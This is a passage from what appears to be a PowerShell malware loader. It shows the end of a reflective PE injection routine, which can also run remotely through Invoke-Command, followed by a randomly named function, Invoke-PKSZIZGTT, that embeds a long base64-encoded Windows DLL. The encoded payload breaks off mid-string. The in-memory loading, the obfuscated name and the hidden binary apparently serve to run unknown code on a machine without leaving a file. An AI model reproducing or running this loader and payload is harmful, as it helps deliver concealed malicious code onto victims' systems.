  2739.     else
  2740.     {
  2741.         $ExeArgs = "ReflectiveExe"
  2742.     }
  2743.  
  2744.     if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
  2745.     {
  2746.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
  2747.     }
  2748.     else
  2749.     {
  2750.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
  2751.     }
  2752. }
  2753.  
  2754. Main
  2755. }
  2756.  
  2757. function Invoke-PKSZIZGTT
  2758. {
  2759.  
  2760. $PEBytes32 = "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aJ8GAABoYPAAEOjNPQAAg8RQxkXPAI1FwFBqBGoKaPQAAABoYPAAEOivPQAAjUXIxkXEAFBXag9oKQMAAGhg8AAQ6JU9AACNRfzGRcsAiYX0/v//M/+NRezHhfz+//+nEQAQiYUA////R2oFWY1F6ImN+P7//4mFDP///41F5ImFGP///41F4GoGiYUk////jUXciY0E////iY0Q////WYmFMP///41F2GoCWomFPP///41F1GoFiZU0////iZVA////iYVI////jUXQWseFCP///4gRABDHhRT///9kEgAQiY0c////x4Ug////fhAAEIm9KP///8eFLP///xkTABDHhTj///8EEgAQx4VE////NBIAEImVTP///8eFUP///5EQABCJhVT///+JjVj///+NRbDHhVz///8WEQAQiYVg////jUWoiYVs////jUXMiYV4////jUXAiUWEjUXIiUWQjYX0/v//ag5QVomVZP///8eFaP///ykRABCJlXD////HhXT///9pEQAQiZV8////x0WA1hAAEIlNiMdFjMMQABCJTZTHRZhrEAAQ6ARFAAD/dbyL8I2FxP7//1DoFaEAAFPoxSkAAIPEQIX2dQczwOl9AgAA6I4JAACjlNgBELtg8AAQjUXwUGoIagVotgUAAFPo4zsAADPAZolF+I1FnFBqCGoEaBIGAABT6Mo7AAAzwGaJRaSNhej+//9QagpqBWgVAQAAU+iuOwAAM8BQaiBogNcBEGaJhfL+///o9ToAAIPESKOM2AEQ6NYvAACjkNgBEIXAdQ+NRfBQ6Hs/AABZo5DYARDo+gIAAKOI2AEQ6OwwAACjmNgBEIXAdQ+NRfBQ6FQ/AABZo5jYARDoNiwAAKOc2AEQhcB1D41F8FDoNz8AAFmjnNgBEOiFLQAAo6DYARCFwHUPjUXwUOgaPwAAWaOg2AEQ6IQuAACjpNgBEIXAdQ+NRfBQ6P0+AABZo6TYARDohzEAAIXAjZXo/v//jU2cD0TKUejePgAAWaOo2AEQ6OMvAACjrNgBEIXAdQ+NRfBQ6ME+AABZo6zYARCNRbhQ6OQrAABrTbgWi/BqAFFW6P45AABWo7DYARDoSCgAAOj4MQAA99gbwIPg6oPAVqMA2QEQ6JUGAADoegcAAOgABQAAjYW0/v//UGoMagRo2wkAAFPoXToAADPAZomF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